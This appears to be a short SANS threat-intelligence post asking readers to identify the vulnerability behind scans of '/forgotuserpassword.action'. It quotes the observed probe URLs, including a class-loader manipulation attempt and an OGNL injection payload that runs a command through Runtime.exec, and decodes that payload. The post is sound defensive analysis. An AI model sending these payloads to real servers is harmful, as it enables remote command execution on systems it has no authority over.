My Google skills let me down this morning, attempting to figure out which vulnerability is exactly being exploited by these "forgotuserpassword.action" scans. Maybe someone else can help me out here. Based on the scans, I do not believe this is a "normal" password reset vulnerability. Atlassian's Confluence is one suspect using a URL scheme like this, but there may be others. Here are some of the URLs:

/forgotuserpassword.action?testzz[%27testzz%27]
/forgotuserpassword.action?class.classLoader.parent
 /forgotuserpassword.action?Class[%27ClassLoader%27][%27parent%27]=test
/forgotuserpassword.action?class.classLoader.parent=test
/forgotuserpassword.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('echo%205d41402abc4b2a76b9719d911017c592').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)
 

The last URL suggests a deserialization vulnerability. These scans have picked up over the last few days:

The last URL above appears to be a simple vulnerability check that will echo back a string if it is successful. Decoded, the URL reads:

a=${#_memberAccess["allowStaticMethodAccess"]=true,#[email protected]@getRuntime().exec('echo 5d41402abc4b2a76b9719d911017c592').getInputStream(),#b=new java.io.InputStreamReader(#a)

So any ideas as to the specific vulnerability being exploited here?

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|